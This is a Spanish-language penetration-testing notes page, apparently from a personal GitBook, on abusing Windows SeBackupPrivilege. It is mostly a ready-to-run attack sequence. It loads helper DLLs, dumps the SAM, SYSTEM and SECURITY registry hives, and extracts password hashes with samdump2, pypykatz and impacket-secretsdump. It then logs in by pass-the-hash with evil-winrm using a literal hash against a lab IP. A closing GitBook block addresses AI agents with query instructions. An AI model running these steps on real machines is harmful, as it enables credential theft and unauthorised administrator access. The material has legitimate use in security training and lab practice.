> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/windows-vulnerabilities/token-privileges/sebackupprivilege-windows-privilege-escalation.md).

# SeBackupPrivilege

`SeBackupPrivilege` permite que los archivos protegidos se lean en un contexto de copia de seguridad. En un laboratorio, este privilegio puede usarse para copiar `SAM` y `SYSTEM`, y luego extraer hashes de cuentas locales sin conexión.

## Detección

```powershell
whoami /priv
```

<figure><img src="/files/3b091ea368bcbcfcbb47299c3ff5394327e0556f" alt="SeBackupPrivilege shown in whoami /priv"><figcaption></figcaption></figure>

## Cargar los módulos

{% embed url="<https://github.com/giuliano108/SeBackupPrivilege>" %}

```powershell
subir SeBackupPrivilegeCmdLets.dll
subir SeBackupPrivilegeUtils.dll
Import-Module ./SeBackupPrivilegeCmdLets.dll
Import-Module ./SeBackupPrivilegeUtils.dll
```

<figure><img src="/files/43ef3290db082808449d0e572d81144778df0a1f" alt="SeBackupPrivilege modules loaded"><figcaption></figcaption></figure>

## Exportar SAM y SYSTEM

```cmd
reg save HKLM\SAM sam
reg save HKLM\SYSTEM system
```

<figure><img src="/files/49d79bd65e3c12af5057705b0944011b5359eb61" alt="Exporting SAM and SYSTEM registry hives"><figcaption></figcaption></figure>

Descarga los archivos:

```powershell
descargar sam
descargar system
```

<figure><img src="/files/cb40980796a014550fbd81c2e22ee8d5d06a80bd" alt="Downloading exported registry hives"><figcaption></figcaption></figure>

## Extraer hashes

```bash
samdump2 system sam
```

<figure><img src="/files/86630ec109e91f839aa3f567bbe2fce5f11790c4" alt="Hash extraction with samdump2"><figcaption></figcaption></figure>

Alternativa:

```bash
pypykatz registry system --sam sam
```

<figure><img src="/files/39a5571fa3b84087f158f46e7d02b6c6cf33f3eb" alt="Hash extraction with pypykatz"><figcaption></figcaption></figure>

## Validar con Pass-the-Hash

```bash
evil-winrm -i 10.10.11.35 -u administrator -H 2b87e7c93a3e8a0ea4a581937016f341
```

<figure><img src="/files/da3c2a5e5d228a87602a7a717a2fc804b0901841" alt="Pass-the-Hash validation with Evil-WinRM"><figcaption></figcaption></figure>

## Puntos clave

* `SeBackupPrivilege` es sensible incluso sin pertenecer directamente al grupo local de administradores.
* Exportar `SECURITY` también cuando quieras secretos LSA o material de dominio en caché.
* Supervisa las exportaciones de colmenas del registro y el acceso a archivos protegidos del sistema.

## Extracción con Impacket

Impacket puede analizar las colmenas guardadas sin conexión:

```cmd
reg save HKLM\SAM C:\Windows\Temp\sam.save
reg save HKLM\SYSTEM C:\Windows\Temp\system.save
reg save HKLM\SECURITY C:\Windows\Temp\security.save
```

```bash
impacket-secretsdump -sam sam.save -system system.save -security security.save LOCAL
```

## Limpiar

```cmd
del C:\Windows\Temp\sam.save
del C:\Windows\Temp\system.save
del C:\Windows\Temp\security.save
```


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/es/windows-vulnerabilities/token-privileges/sebackupprivilege-windows-privilege-escalation.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
